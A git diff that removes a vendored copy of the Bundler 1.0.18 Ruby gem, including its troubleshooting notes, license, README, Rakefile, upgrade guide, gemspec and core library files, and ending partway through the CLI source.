-Instructions for common Bundler use-cases can be found on the [Bundler documentation site](http://gembundler.com/v1.0/).
-
-Detailed information about each Bundler command, including help with common problems, can be found in the [Bundler man pages](http://gembundler.com/man/bundle.1.html).
-
-After reading the documentation, try these troubleshooting steps:
-
-    # remove user-specific gems and git repos
-    rm -rf ~/.bundle/ ~/.gem/
-
-    # remove system-wide git repos and git checkouts
-    rm -rf $GEM_HOME/bundler/ $GEM_HOME/cache/bundler/
-
-    # remove project-specific settings and git repos
-    rm -rf .bundle/
-
-    # remove project-specific cached .gem files
-    rm -rf vendor/cache/
-
-    # remove the saved resolve of the Gemfile
-    rm -rf Gemfile.lock
-
-    # try to install one more time
-    bundle install
-
-## Reporting unresolved problems
-
-Instructions that allow the Bundler team to reproduce your issue are vitally important. When you report a bug, please include the following information:
-
-  - The command you ran
-  - Exception backtrace(s), if any
-  - Your Gemfile
-  - Your Gemfile.lock
-  - Your Bundler configuration settings (run `bundle config`)
-  - What version of bundler you are using (run `bundle -v`)
-  - What version of Ruby you are using (run `ruby -v`)
-  - What version of Rubygems you are using (run `gem -v`)
-  - Whether you are using RVM, and if so what version (run `rvm -v`)
-  - Whether you have the `rubygems-bundler` gem, which can break gem binares
-  - Whether you have the `open_gem` gem, which can cause rake activation conflicts
-
-
-If you are using Rails 2.3, please also include:
-
-  - Your boot.rb file
-  - Your preinitializer.rb file
-  - Your environment.rb file
-
-[Create a gist](https://gist.github.com) containing all of that information, then visit the [Bundler issue tracker](https://github.com/carlhuda/bundler) and create a new ticket describing your problem and linking to your gist.
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/LICENSE b/vendor/plugins/bundler/gems/bundler-1.0.18/LICENSE
deleted file mode 100644
index 4d62f8af..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/LICENSE
+++ /dev/null
@@ -1,23 +0,0 @@
-Portions copyright (c) 2010 Andre Arko
-Portions copyright (c) 2009 Engine Yard
-
-MIT License
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/README.md b/vendor/plugins/bundler/gems/bundler-1.0.18/README.md
deleted file mode 100644
index 0cd4dd15..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/README.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# Bundler: a gem to bundle gems
-
-Bundler is a tool that manages gem dependencies for your ruby application. It
-takes a gem manifest file and is able to fetch, download, and install the gems
-and all child dependencies specified in this manifest. It can manage any update
-to the gem manifest file and update the bundle's gems accordingly. It also lets
-you run any ruby code in context of the bundle's gem environment.
-
-### Installation and usage
-
-See [gembundler.com](http://gembundler.com) for up-to-date installation and usage instructions.
-
-### Troubleshooting
-
-For help with common problems, see [ISSUES](http://github.com/carlhuda/bundler/blob/master/ISSUES.md).
-
-### Development
-
-To see what has changed in recent versions of bundler, see the [CHANGELOG](http://github.com/carlhuda/bundler/blob/master/CHANGELOG.md).
-
-The `master` branch contains our current progress towards version 1.1. Because of that, please submit bugfix pull requests against the `1-0-stable` branch.
-
-### Upgrading from Bundler 0.8 to 0.9 and above
-
-See [UPGRADING](http://github.com/carlhuda/bundler/blob/master/UPGRADING.md).
-
-### Other questions
-
-Feel free to chat with the Bundler core team (and many other users) on IRC in the  [#bundler](irc://irc.freenode.net/bundler) channel on Freenode, or via email on the [Bundler mailing list](http://groups.google.com/group/ruby-bundler).
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/Rakefile b/vendor/plugins/bundler/gems/bundler-1.0.18/Rakefile
deleted file mode 100644
index f01e54e4..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/Rakefile
+++ /dev/null
@@ -1,189 +0,0 @@
-# -*- encoding: utf-8 -*-
-$:.unshift File.expand_path("../lib", __FILE__)
-require 'bundler/gem_tasks'
-
-namespace :spec do
-  desc "Ensure spec dependencies are installed"
-  task :deps do
-    sh "gem list ronn | (grep 'ronn' 1> /dev/null) || gem install ronn --no-ri --no-rdoc"
-    sh "gem list rspec | (grep 'rspec (2.' 1> /dev/null) || gem install rspec --no-ri --no-rdoc"
-  end
-end
-
-begin
-  # running the specs needs both rspec and ronn
-  require 'rspec/core/rake_task'
-  require 'ronn'
-
-  desc "Run specs"
-  RSpec::Core::RakeTask.new do |t|
-    t.rspec_opts = %w(-fs --color)
-    t.ruby_opts  = %w(-w)
-  end
-  task :spec => "man:build"
-
-  namespace :spec do
-    task :clean do
-      rm_rf 'tmp'
-    end
-
-    desc "Run the spec suite with the sudo tests"
-    task :sudo => ["set_sudo", "spec", "clean_sudo"]
-
-    task :set_sudo do
-      ENV['BUNDLER_SUDO_TESTS'] = '1'
-    end
-
-    task :clean_sudo do
-      puts "Cleaning up sudo test files..."
-      system "sudo rm -rf #{File.expand_path('../tmp/sudo_gem_home', __FILE__)}"
-    end
-
-    namespace :rubygems do
-      # Rubygems specs by version
-      rubyopt = ENV["RUBYOPT"]
-      %w(master v1.3.6 v1.3.7 v1.4.2 v1.5.3 v1.6.2 v1.7.2 v1.8.7).each do |rg|
-        desc "Run specs with Rubygems #{rg}"
-        RSpec::Core::RakeTask.new(rg) do |t|
-          t.rspec_opts = %w(-fs --color)
-          t.ruby_opts  = %w(-w)
-        end
-
-        # Create tasks like spec:rubygems:v1.8.3:sudo to run the sudo specs
-        namespace rg do
-          task :sudo => ["set_sudo", rg, "clean_sudo"]
-        end
-
-        task "clone_rubygems_#{rg}" do
-          unless File.directory?("tmp/rubygems")
-            system("git clone git://github.com/rubygems/rubygems.git tmp/rubygems")
-          end
-          hash = nil
-
-          Dir.chdir("tmp/rubygems") do
-            system("git remote update")
-            system("git checkout #{rg}")
-            system("git pull origin master") if rg == "master"
-            hash = `git rev-parse HEAD`.strip
-          end
-
-          puts "Running bundler specs against rubygems '#{rg}' at #{hash}"
-          ENV["RUBYOPT"] = "-I#{File.expand_path("tmp/rubygems/lib")} #{rubyopt}"
-        end
-
-        task rg => "clone_rubygems_#{rg}"
-        task "rubygems:all" => rg
-      end
-
-      desc "Run specs under a Rubygems checkout (set RG=path)"
-      RSpec::Core::RakeTask.new("co") do |t|
-        t.rspec_opts = %w(-fs --color)
-        t.ruby_opts  = %w(-w)
-      end
-
-      task "setup_co" do
-        ENV["RUBYOPT"] = "-I#{File.expand_path ENV['RG']} #{rubyopt}"
-      end
-
-      task "co" => "setup_co"
-      task "rubygems:all" => "co"
-    end
-
-    namespace :ruby do
-      # Ruby 1.8.6, 1.8.7, and 1.9.2 specs
-      task "ensure_rvm" do
-        raise "RVM is not available" unless File.exist?(File.expand_path("~/.rvm/scripts/rvm"))
-      end
-
-      %w(1.8.6-p420 1.8.7-p334 1.9.2-p180).each do |ruby|
-        ruby_cmd = File.expand_path("~/.rvm/bin/ruby-#{ruby}")
-
-        desc "Run specs on Ruby #{ruby}"
-        RSpec::Core::RakeTask.new(ruby) do |t|
-          t.rspec_opts = %w(-fs --color)
-          t.ruby_opts  = %w(-w)
-        end
-
-        task "ensure_ruby_#{ruby}" do
-          raise "Could not find Ruby #{ruby} at #{ruby_cmd}" unless File.exist?(ruby_cmd)
-        end
-
-        task "ensure_ruby_#{ruby}" => "ensure_rvm"
-        task ruby => "ensure_ruby_#{ruby}"
-        task "ruby:all" => ruby
-      end
-    end
-
-  end
-
-  namespace :man do
-    directory "lib/bundler/man"
-
-    Dir["man/*.ronn"].each do |ronn|
-      basename = File.basename(ronn, ".ronn")
-      roff = "lib/bundler/man/#{basename}"
-
-      file roff => ["lib/bundler/man", ronn] do
-        sh "ronn --roff --pipe #{ronn} > #{roff}"
-      end
-
-      file "#{roff}.txt" => roff do
-        sh "groff -Wall -mtty-char -mandoc -Tascii #{roff} | col -b > #{roff}.txt"
-      end
-
-      task :build_all_pages => "#{roff}.txt"
-    end
-
-    desc "Build the man pages"
-    task :build => "man:build_all_pages"
-
-    desc "Clean up from the built man pages"
-    task :clean do
-      rm_rf "lib/bundler/man"
-    end
-  end
-
-  begin
-    require 'ci/reporter/rake/rspec'
-
-    namespace :ci do
-      desc "Run specs with Hudson output"
-      RSpec::Core::RakeTask.new(:spec)
-      task :spec => ["ci:setup:rspec", "man:build"]
-    end
-
-  rescue LoadError
-    namespace :ci do
-      task :spec do
-        abort "Run `rake ci:deps` to be able to run the CI specs"
-      end
-
-      desc "Install CI dependencies"
-      task :deps do
-        sh "gem list ci_reporter | (grep 'ci_reporter' 1> /dev/null) || gem install ci_reporter --no-ri --no-rdoc"
-      end
-      task :deps => "spec:deps"
-    end
-  end
-
-rescue LoadError
-  task :spec do
-    abort "Run `rake spec:deps` to be able to run the specs"
-  end
-end
-
-namespace :vendor do
-  desc "Build the vendor dir"
-  task :build => :clean do
-    sh "git clone git://github.com/wycats/thor.git lib/bundler/vendor/tmp"
-    sh "mv lib/bundler/vendor/tmp/lib/* lib/bundler/vendor/"
-    rm_rf "lib/bundler/vendor/tmp"
-  end
-
-  desc "Clean the vendor dir"
-  task :clean do
-    rm_rf "lib/bundler/vendor"
-  end
-end
-
-task :default => :spec
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/UPGRADING.md b/vendor/plugins/bundler/gems/bundler-1.0.18/UPGRADING.md
deleted file mode 100644
index 666dcf7a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/UPGRADING.md
+++ /dev/null
@@ -1,103 +0,0 @@
-## Bundler 0.9 to 1.0 and above
-
-Upgrading from Bundler 0.9 to 1.0 is relatively painless. The
-Gemfile API is the same, so your old Gemfiles should continue
-to work.
-
-The "env" file that 0.9 created at `.bundle/environment.rb` has been
-removed. As a side effect of this, Passenger will only find your
-bundled gems if you install with `bundle install --deployment`.
-Alternatively, you can tell Passenger where you gems are installed,
-[something like this](http://bit.ly/passenger-gem-home).
-
-The `bundle lock` command is no longer needed, as the
-Gemfile.lock file is now automatically generated by `bundle install`.
-If you have not yet done so, add your Gemfile.lock to source control
-and check it in.
-
-Running `bundle install` no longer updates the versions of your gems.
-If you need to update just one gem, run `bundle update GEMNAME`. To
-update all gems to the newest versions possible, run `bundle update`.
-
-Bundler now supports multiple platforms, using a block syntax to
-declare platform-specific gems:
-
-    platform :jruby do
-      gem "jruby-maven-plugins"
-    end
-
-Deploying using Bundler is even easier than it was before, as Bundler
-now includes a Capistrano recipe. Simply add this line to the top of
-your deploy.rb file to run Bundler automatically as part of deploying:
-
-    require 'bundler/capistrano'
-
-For more details on deploying using bundler, see the documentation
-for the bundler cap task, and the [documentation on deploying](http://gembundler.com/v1.0/deploying.html).
-
-
-## Bundler 0.8 to 0.9 and above
-
-Upgrading to Bundler 0.9 from Bundler 0.8 requires upgrading several
-API calls in your Gemfile, and some workarounds if you are using Rails 2.3.
-
-### Gemfile Removals
-
-Bundler 0.9 removes the following Bundler 0.8 Gemfile APIs:
-
-1. `disable_system_gems`: This is now the default (and only) option
-   for bundler. Bundler uses the system gems you have specified
-   in the Gemfile, and only the system gems you have specified
-   (and their dependencies)
-2. `disable_rubygems`: This is no longer supported. We are looking
-   into ways to get the fastest performance out of each supported
-   scenario, and we will make speed the default where possible.
-3. `clear_sources`: Bundler now defaults to an empty source
-   list. If you want to include Rubygems, you can add the source
-   via source "http://gemcutter.org". If you use bundle init, this
-   source will be automatically added for you in the generated
-   Gemfile
-4. `bundle_path`: You can specify this setting when installing
-   via `bundle install /path/to/bundle`. Bundler will remember
-   where you installed the dependencies to on a particular
-   machine for future installs, loads, setups, etc.
-5. `bin_path`: Bundler no longer generates executables in the root
-   of your app. You should use `bundle exec` to execute executables
-   in the current context.
-
-### Gemfile Changes
-
-Bundler 0.9 changes the following Bundler 0.8 Gemfile APIs:
-
-1. Bundler 0.8 supported :only and :except as APIs for describing
-   groups of gems. Bundler 0.9 supports a single `group` method,
-   which you can use to group gems together. See the above "Group"
-   section for more information.
-
-   This means that `gem "foo", :only => :production` becomes
-   `gem "foo", :group => :production`, and
-   `only :production { gem "foo" }` becomes
-   `group :production { gem "foo" }`
-
-   The short version is: group your gems together logically, and
-   use the available commands to make use of the groups you've
-   created.
-
-2. `:require_as` becomes `:require`
-
-3. `:vendored_at` is fully removed; you should use `:path`
-
-### API Changes
-
-1. `Bundler.require_env(:environment)` becomes
-   `Bundler.require(:multiple, :groups)`. You must
-   now specify the default group (the default group is the
-   group made up of the gems not assigned to any group)
-   explicitly. So `Bundler.require_env(:test)` becomes
-   `Bundler.require(:default, :test)`
-
-2. `require 'vendor/gems/environment'`: In unlocked
-   mode, where using system gems, this becomes
-   `Bundler.setup(:multiple, :groups)`. If you don't
-   specify any groups, this puts all groups on the load
-   path. In locked, mode, it becomes `require '.bundle/environment'`
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/bin/bundle b/vendor/plugins/bundler/gems/bundler-1.0.18/bin/bundle
deleted file mode 100755
index 778c79c3..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/bin/bundle
+++ /dev/null
@@ -1,22 +0,0 @@
-#!/usr/bin/env ruby
-
-# Check if an older version of bundler is installed
-require 'bundler'
-$:.each do |path|
-  if path =~ %r'/bundler-0.(\d+)' && $1.to_i < 9
-    abort "Please remove older versions of bundler. This can be done by running `gem cleanup bundler`."
-  end
-end
-require 'bundler/cli'
-
-begin
-  Bundler::CLI.start
-rescue Bundler::BundlerError => e
-  Bundler.ui.error e.message
-  Bundler.ui.debug e.backtrace.join("\n")
-  exit e.status_code
-rescue Interrupt => e
-  Bundler.ui.error "\nQuitting..."
-  Bundler.ui.debug e.backtrace.join("\n")
-  exit 1
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/bundler.gemspec b/vendor/plugins/bundler/gems/bundler-1.0.18/bundler.gemspec
deleted file mode 100644
index cb7f795c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/bundler.gemspec
+++ /dev/null
@@ -1,29 +0,0 @@
-# -*- encoding: utf-8 -*-
-lib = File.expand_path('../lib/', __FILE__)
-$:.unshift lib unless $:.include?(lib)
-
-require 'bundler/version'
-
-Gem::Specification.new do |s|
-  s.name        = "bundler"
-  s.version     = Bundler::VERSION
-  s.platform    = Gem::Platform::RUBY
-  s.authors     = ["André Arko", "Terence Lee", "Carl Lerche", "Yehuda Katz"]
-  s.email       = ["andre@arko.net"]
-  s.homepage    = "http://gembundler.com"
-  s.summary     = %q{The best way to manage your application's dependencies}
-  s.description = %q{Bundler manages an application's dependencies through its entire life, across many machines, systematically and repeatably}
-
-  s.required_rubygems_version = ">= 1.3.6"
-  s.rubyforge_project         = "bundler"
-
-  s.add_development_dependency "ronn"
-  s.add_development_dependency "rspec"
-
-  # Man files are required because they are ignored by git
-  man_files            = Dir.glob("lib/bundler/man/**/*")
-  s.files              = `git ls-files`.split("\n") + man_files
-  s.test_files         = `git ls-files -- {test,spec,features}/*`.split("\n")
-  s.executables        = %w(bundle)
-  s.require_paths      = ["lib"]
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler.rb
deleted file mode 100644
index b70f718a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler.rb
+++ /dev/null
@@ -1,284 +0,0 @@
-require 'rbconfig'
-require 'fileutils'
-require 'pathname'
-
-begin
-  require 'psych'
-rescue LoadError
-end
-
-require 'yaml'
-require 'bundler/rubygems_ext'
-require 'bundler/rubygems_integration'
-require 'bundler/version'
-
-module Bundler
-  ORIGINAL_ENV = ENV.to_hash
-
-  autoload :Definition,          'bundler/definition'
-  autoload :Dependency,          'bundler/dependency'
-  autoload :Dsl,                 'bundler/dsl'
-  autoload :Environment,         'bundler/environment'
-  autoload :GemHelper,           'bundler/gem_helper'
-  autoload :Graph,               'bundler/graph'
-  autoload :Index,               'bundler/index'
-  autoload :Installer,           'bundler/installer'
-  autoload :LazySpecification,   'bundler/lazy_specification'
-  autoload :LockfileParser,      'bundler/lockfile_parser'
-  autoload :RemoteSpecification, 'bundler/remote_specification'
-  autoload :Resolver,            'bundler/resolver'
-  autoload :Runtime,             'bundler/runtime'
-  autoload :Settings,            'bundler/settings'
-  autoload :SharedHelpers,       'bundler/shared_helpers'
-  autoload :SpecSet,             'bundler/spec_set'
-  autoload :Source,              'bundler/source'
-  autoload :Specification,       'bundler/shared_helpers'
-  autoload :UI,                  'bundler/ui'
-
-  class BundlerError < StandardError
-    def self.status_code(code = nil)
-      define_method(:status_code) { code }
-    end
-  end
-
-  class GemfileNotFound  < BundlerError; status_code(10) ; end
-  class GemNotFound      < BundlerError; status_code(7)  ; end
-  class GemfileError     < BundlerError; status_code(4)  ; end
-  class PathError        < BundlerError; status_code(13) ; end
-  class GitError         < BundlerError; status_code(11) ; end
-  class DeprecatedError  < BundlerError; status_code(12) ; end
-  class GemspecError     < BundlerError; status_code(14) ; end
-  class DslError         < BundlerError; status_code(15) ; end
-  class ProductionError  < BundlerError; status_code(16) ; end
-  class InvalidOption    < DslError                      ; end
-
-
-  WINDOWS = RbConfig::CONFIG["host_os"] =~ %r!(msdos|mswin|djgpp|mingw)!
-  FREEBSD = RbConfig::CONFIG["host_os"] =~ /bsd/
-  NULL    = WINDOWS ? "NUL" : "/dev/null"
-
-  # Internal errors, should be rescued
-  class VersionConflict  < BundlerError
-    attr_reader :conflicts
-
-    def initialize(conflicts, msg = nil)
-      super(msg)
-      @conflicts = conflicts
-    end
-
-    status_code(6)
-  end
-
-  class InvalidSpecSet < StandardError; end
-
-  class << self
-    attr_writer :ui, :bundle_path
-
-    def configure
-      @configured ||= begin
-        configure_gem_home_and_path
-        true
-      end
-    end
-
-    def ui
-      @ui ||= UI.new
-    end
-
-    def bundle_path
-      @bundle_path ||= Pathname.new(settings.path).expand_path(root)
-    end
-
-    def bin_path
-      @bin_path ||= begin
-        path = settings[:bin] || "bin"
-        path = Pathname.new(path).expand_path(root)
-        FileUtils.mkdir_p(path)
-        Pathname.new(path).expand_path
-      end
-    end
-
-    def setup(*groups)
-      # Just return if all groups are already loaded
-      return @setup if defined?(@setup)
-
-      if groups.empty?
-        # Load all groups, but only once
-        @setup = load.setup
-      else
-        @completed_groups ||= []
-        # Figure out which groups haven't been loaded yet
-        unloaded = groups - @completed_groups
-        # Record groups that are now loaded
-        @completed_groups = groups
-        # Load any groups that are not yet loaded
-        unloaded.any? ? load.setup(*unloaded) : load
-      end
-    end
-
-    def require(*groups)
-      setup(*groups).require(*groups)
-    end
-
-    def load
-      @load ||= Runtime.new(root, definition)
-    end
-
-    def environment
-      Bundler::Environment.new(root, definition)
-    end
-
-    def definition(unlock = nil)
-      @definition = nil if unlock
-      @definition ||= begin
-        configure
-        upgrade_lockfile
-        Definition.build(default_gemfile, default_lockfile, unlock)
-      end
-    end
-
-    def ruby_scope
-      "#{Bundler.rubygems.ruby_engine}/#{Gem::ConfigMap[:ruby_version]}"
-    end
-
-    def user_bundle_path
-      Pathname.new(Bundler.rubygems.user_home).join(".bundler")
-    end
-
-    def home
-      bundle_path.join("bundler")
-    end
-
-    def install_path
-      home.join("gems")
-    end
-
-    def specs_path
-      bundle_path.join("specifications")
-    end
-
-    def cache
-      bundle_path.join("cache/bundler")
-    end
-
-    def root
-      default_gemfile.dirname.expand_path
-    end
-
-    def app_config_path
-      ENV['BUNDLE_APP_CONFIG'] ?
-        Pathname.new(ENV['BUNDLE_APP_CONFIG']).expand_path(root) :
-        root.join('.bundle')
-    end
-
-    def app_cache
-      root.join("vendor/cache")
-    end
-
-    def tmp
-      user_bundle_path.join("tmp", Process.pid.to_s)
-    end
-
-    def settings
-      @settings ||= Settings.new(app_config_path)
-    end
-
-    def with_clean_env
-      bundled_env = ENV.to_hash
-      ENV.replace(ORIGINAL_ENV)
-      yield
-    ensure
-      ENV.replace(bundled_env.to_hash)
-    end
-
-    def default_gemfile
-      SharedHelpers.default_gemfile
-    end
-
-    def default_lockfile
-      SharedHelpers.default_lockfile
-    end
-
-    def requires_sudo?
-      return @requires_sudo if defined?(@checked_for_sudo) && @checked_for_sudo
-
-      path = bundle_path
-      path = path.parent until path.exist?
-      sudo_present = !(`which sudo` rescue '').empty?
-
-      @checked_for_sudo = true
-      @requires_sudo = settings.allow_sudo? && !File.writable?(path) && sudo_present
-    end
-
-    def mkdir_p(path)
-      if requires_sudo?
-        sudo "mkdir -p '#{path}'" unless File.exist?(path)
-      else
-        FileUtils.mkdir_p(path)
-      end
-    end
-
-    def sudo(str)
-      `sudo -p 'Enter your password to install the bundled RubyGems to your system: ' #{str}`
-    end
-
-    def read_file(file)
-      File.open(file, "rb") { |f| f.read }
-    end
-
-    def load_gemspec(file)
-      path = Pathname.new(file)
-      # Eval the gemspec from its parent directory
-      Dir.chdir(path.dirname.to_s) do
-        contents = File.read(path.basename.to_s)
-        begin
-          Gem::Specification.from_yaml(contents)
-          # Raises ArgumentError if the file is not valid YAML
-        rescue ArgumentError, SyntaxError, Gem::EndOfYAMLException, Gem::Exception
-          begin
-            eval(contents, TOPLEVEL_BINDING, path.expand_path.to_s)
-          rescue LoadError => e
-            original_line = e.backtrace.find { |line| line.include?(path.to_s) }
-            msg  = "There was a LoadError while evaluating #{path.basename}:\n  #{e.message}"
-            msg << " from\n  #{original_line}" if original_line
-            msg << "\n"
-
-            if RUBY_VERSION >= "1.9.0"
-              msg << "\nDoes it try to require a relative path? That doesn't work in Ruby 1.9."
-            end
-
-            raise GemspecError, msg
-          end
-        end
-      end
-    end
-
-  private
-
-    def configure_gem_home_and_path
-      if settings[:disable_shared_gems]
-        ENV['GEM_PATH'] = ''
-        ENV['GEM_HOME'] = File.expand_path(bundle_path, root)
-      elsif Bundler.rubygems.gem_dir != bundle_path.to_s
-        possibles = [Bundler.rubygems.gem_dir, Bundler.rubygems.gem_path]
-        paths = possibles.flatten.compact.uniq.reject { |p| p.empty? }
-        ENV["GEM_PATH"] = paths.join(File::PATH_SEPARATOR)
-        ENV["GEM_HOME"] = bundle_path.to_s
-      end
-
-      # TODO: This mkdir_p is only needed for JRuby <= 1.5 and should go away (GH #602)
-      FileUtils.mkdir_p bundle_path.to_s rescue nil
-
-      Bundler.rubygems.clear_paths
-    end
-
-    def upgrade_lockfile
-      lockfile = default_lockfile
-      if lockfile.exist? && lockfile.read(3) == "---"
-        Bundler.ui.warn "Detected Gemfile.lock generated by 0.9, deleting..."
-        lockfile.rmtree
-      end
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/capistrano.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/capistrano.rb
deleted file mode 100644
index dc551c50..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/capistrano.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# Capistrano task for Bundler.
-#
-# Just add "require 'bundler/capistrano'" in your Capistrano deploy.rb, and
-# Bundler will be activated after each new deployment.
-require 'bundler/deployment'
-
-Capistrano::Configuration.instance(:must_exist).load do
-  after "deploy:finalize_update", "bundle:install"
-  Bundler::Deployment.define_task(self, :task, :except => { :no_release => true })
-  set :rake, lambda { "#{fetch(:bundle_cmd, "bundle")} exec rake" }
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/cli.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/cli.rb
deleted file mode 100644
index 3c8dee0b..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/cli.rb
+++ /dev/null
@@ -1,519 +0,0 @@
-require 'bundler/vendored_thor'
-require 'rubygems/user_interaction'
-require 'rubygems/config_file'
-
-module Bundler
-  class CLI < Thor
-    include Thor::Actions
-
-    def initialize(*)
-      super
-      the_shell = (options["no-color"] ? Thor::Shell::Basic.new : shell)
-      Bundler.ui = UI::Shell.new(the_shell)
-      Bundler.ui.debug! if options["verbose"]
-      Bundler.rubygems.ui = UI::RGProxy.new(Bundler.ui)
-    end
-
-    check_unknown_options!
-
-    default_task :install
-    class_option "no-color", :type => :boolean, :banner => "Disable colorization in output"
-    class_option "verbose",  :type => :boolean, :banner => "Enable verbose output mode", :aliases => "-V"
-
-    def help(cli = nil)
-      case cli
-      when "gemfile" then command = "gemfile.5"
-      when nil       then command = "bundle"
-      else command = "bundle-#{cli}"
-      end
-
-      manpages = %w(
-          bundle
-          bundle-config
-          bundle-exec
-          bundle-install
-          bundle-package
-          bundle-update
-          gemfile.5)
-
-      if manpages.include?(command)
-        root = File.expand_path("../man", __FILE__)
-
-        if have_groff? && root !~ %r{^file:/.+!/META-INF/jruby.home/.+}
-          groff   = "groff -Wall -mtty-char -mandoc -Tascii"
-          pager   = ENV['MANPAGER'] || ENV['PAGER'] || 'less -R'
-
-          Kernel.exec "#{groff} #{root}/#{command} | #{pager}"
-        else
-          puts File.read("#{root}/#{command}.txt")
-        end
-      else
-        super
-      end
-    end
-
-    desc "init", "Generates a Gemfile into the current working directory"
-    long_desc <<-D
-      Init generates a default Gemfile in the current working directory. When adding a
-      Gemfile to a gem with a gemspec, the --gemspec option will automatically add each
-      dependency listed in the gemspec file to the newly created Gemfile.
-    D
-    method_option "gemspec", :type => :string, :banner => "Use the specified .gemspec to create the Gemfile"
-    def init
-      opts = options.dup
-      if File.exist?("Gemfile")
-        Bundler.ui.error "Gemfile already exists at #{Dir.pwd}/Gemfile"
-        exit 1
-      end
-
-      if opts[:gemspec]
-        gemspec = File.expand_path(opts[:gemspec])
-        unless File.exist?(gemspec)
-          Bundler.ui.error "Gem specification #{gemspec} doesn't exist"
-          exit 1
-        end
-        spec = Gem::Specification.load(gemspec)
-        puts "Writing new Gemfile to #{Dir.pwd}/Gemfile"
-        File.open('Gemfile', 'wb') do |file|
-          file << "# Generated from #{gemspec}\n"
-          file << spec.to_gemfile
-        end
-      else
-        puts "Writing new Gemfile to #{Dir.pwd}/Gemfile"
-        FileUtils.cp(File.expand_path('../templates/Gemfile', __FILE__), 'Gemfile')
-      end
-    end
-
-    desc "check", "Checks if the dependencies listed in Gemfile are satisfied by currently installed gems"
-    long_desc <<-D
-      Check searches the local machine for each of the gems requested in the Gemfile. If
-      all gems are found, Bundler prints a success message and exits with a status of 0.
-      If not, the first missing gem is listed and Bundler exits status 1.
-    D
-    method_option "gemfile", :type => :string, :banner =>
-      "Use the specified gemfile instead of Gemfile"
-    def check
-      ENV['BUNDLE_GEMFILE'] = File.expand_path(options[:gemfile]) if options[:gemfile]
-      begin
-        not_installed = Bundler.definition.missing_specs
-      rescue GemNotFound, VersionConflict
-        Bundler.ui.error "Your Gemfile's dependencies could not be satisfied"
-        Bundler.ui.warn  "Install missing gems with `bundle install`"
-        exit 1
-      end
-
-      if not_installed.any?
-        Bundler.ui.error "The following gems are missing"
-        not_installed.each { |s| Bundler.ui.error " * #{s.name} (#{s.version})" }
-        Bundler.ui.warn "Install missing gems with `bundle install`"
-        exit 1
-      else
-        Bundler.load.lock
-        Bundler.ui.info "The Gemfile's dependencies are satisfied"
-      end
-    end
-
-    desc "install", "Install the current environment to the system"
-    long_desc <<-D
-      Install will install all of the gems in the current bundle, making them available
-      for use. In a freshly checked out repository, this command will give you the same
-      gem versions as the last person who updated the Gemfile and ran `bundle update`.
-
-      Passing [DIR] to install (e.g. vendor) will cause the unpacked gems to be installed
-      into the [DIR] directory rather than into system gems.
-
-      If the bundle has already been installed, bundler will tell you so and then exit.
-    D
-    method_option "without", :type => :array, :banner =>
-      "Exclude gems that are part of the specified named group."
-    method_option "disable-shared-gems", :type => :boolean, :banner =>
-      "This option is deprecated. Please do not use it."
-    method_option "gemfile", :type => :string, :banner =>
-      "Use the specified gemfile instead of Gemfile"
-    method_option "no-prune", :type => :boolean, :banner =>
-      "Don't remove stale gems from the cache."
-    method_option "no-cache", :type => :boolean, :banner =>
-      "Don't update the existing gem cache."
-    method_option "quiet", :type => :boolean, :banner =>
-      "Only output warnings and errors."
-    method_option "local", :type => :boolean, :banner =>
-      "Do not attempt to fetch gems remotely and use the gem cache instead"
-    method_option "binstubs", :type => :string, :lazy_default => "bin", :banner =>
-      "Generate bin stubs for bundled gems to ./bin"
-    method_option "path", :type => :string, :banner =>
-      "Specify a different path than the system default ($BUNDLE_PATH or $GEM_HOME). Bundler will remember this value for future installs on this machine"
-    method_option "system", :type => :boolean, :banner =>
-      "Install to the system location ($BUNDLE_PATH or $GEM_HOME) even if the bundle was previously installed somewhere else for this application"
-    method_option "frozen", :type => :boolean, :banner =>
-      "Do not allow the Gemfile.lock to be updated after this install"
-    method_option "deployment", :type => :boolean, :banner =>
-      "Install using defaults tuned for deployment environments"
-    def install(path = nil)
-      opts = options.dup
-      opts[:without] ||= []
-      if opts[:without].size == 1
-        opts[:without] = opts[:without].map{|g| g.split(" ") }
-        opts[:without].flatten!
-      end
-      opts[:without] = opts[:without].map{|g| g.to_sym }
-
